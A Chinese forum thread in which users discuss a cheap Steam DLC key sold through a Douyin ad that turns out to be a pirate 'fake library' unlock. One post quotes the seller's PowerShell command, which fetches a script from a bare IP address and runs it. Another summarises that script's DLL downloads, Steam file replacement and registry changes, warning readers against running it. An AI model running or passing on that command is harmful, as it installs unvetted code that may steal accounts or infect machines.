逛抖音看见一个广告，潜水员戴夫带dlc卖12块，给cdkey，我心想这么赚吗？
就买了，然后发了key，但是还有个教程
我说兑换key还要教程？
打开看要进shell执行一条命令，我就觉得不对，上网一搜，原来叫假入库。实际就是某种d版手段。
赶紧退款

入库后可以steam下载，不算假入库吧

posted by wap, platform: iPhone

引用:

原帖由 @yfl2  于 2025-5-20 11:44 发表
入库后可以steam下载，不算假入库吧

他执行的那条irm命令其实就是修改了steam
我感觉这种会有封号危险

posted by wap, platform: Chrome

引用:

原帖由 @不要看我  于 2025-5-20 11:46 发表
他执行的那条irm命令其实就是修改了steam
我感觉这种会有封号危险

irm就是调用http接口，而http接口本来就是公开让所有人访问的。不会修改你本地的steam的。甚至你自己电脑上不安装steam都能执行成功。

但不知道是不是调用了steam官方未开放的有漏洞的接口。这个不清楚，但我觉得概率并不大。

posted by wap, platform: iPhone

引用:

原帖由 @zxsoft  于 2025-5-20 11:50 发表
irm就是调用http接口，而http接口本来就是公开让所有人访问的。不会修改你本地的steam的。甚至你自己电脑上不安装steam都能执行成功。

但不知道是不是调用了steam官方未开放的有漏洞的接口。这个不清楚，但我觉得概率并不大。

irm 把某个ip地址改了，我感觉是让steam去下他服务器上修改版的游戏，然后某种手段在steam上运行

posted by wap, platform: iPhone
5块钱 买了一个 5 love under one roof。Steam能玩，还有成就。
但是手机steam里面没有。
电脑Steam重装之后就没了，成就也没了。
怕号被封，赶紧删了。

你把命令行贴出来看看呗，有关键信息就替换一下

posted by wap, platform: iPhone
输入：irm 118.178.139.20|iex

posted by wap, platform: Android
啥原理呢，什么游戏都可以吗，最新游戏行吗

posted by wap, platform: iPhone
所以，这条命令的实际作用是：

从 http://118.178.139.20 下载内容，并立即作为 PowerShell 脚本执行。

结论：非常危险

posted by wap, platform: Lenovo
其实就是从另外一个地方下载了同名游戏的破戒版吧，玩倒是也能玩，只是花钱买倒版了

完整分析太长就不贴了，不怕封号的可以继续

潜在风险和安全建议综合来看，这个脚本的功能远远超出了普通软件的安装或维护行为，包含了一些通常与非授权或恶意活动相关的操作：

• 下载并执行来自未知来源的二进制文件: 脚本从Gitee和蓝奏云下载DLL文件，并进行异或解密。在不清楚这些DLLs具体内容的情况下运行它们，会带来巨大的安全风险。它们可能包含恶意软件、后门程序或信息窃取功能。
• 绕过安全软件: 虽然Windows Defender排除项被注释掉了，但这段代码的存在以及脚本对敏感文件的修改行为，表明其有规避安全检测的意图。
• 修改核心系统文件: 脚本删除并替换了Steam目录下的DLL文件，这可能导致Steam功能异常，甚至系统不稳定或受到感染。
• 对Steam客户端进行非官方修改: 脚本修改Steam的配置文件和注册表项，并尝试使用 activateproduct 命令启动Steam，这可能与盗版游戏激活、账户劫持或其他违规行为有关。

强烈建议：

• 不要运行此脚本，除非您完全了解其所有细节，并且百分之百信任其来源和目的。
• 如果您怀疑您的计算机可能受到此类脚本的影响，建议立即使用可靠的杀毒软件进行全面扫描。
• 在执行任何来自网络的代码之前，务必进行彻底的安全审查，并考虑在隔离环境（例如虚拟机）中进行测试。

posted by wap, platform: iPhone
只能说不要贪这点小便宜。

posted by wap, platform: Android
nga搜了下是盗版么，皮角了这台电脑的steam，实际没有进账号的库。有没有顺便下什么挖矿盗号程序就不知道了

posted by wap, platform: Android
吃多了，花钱玩盗版。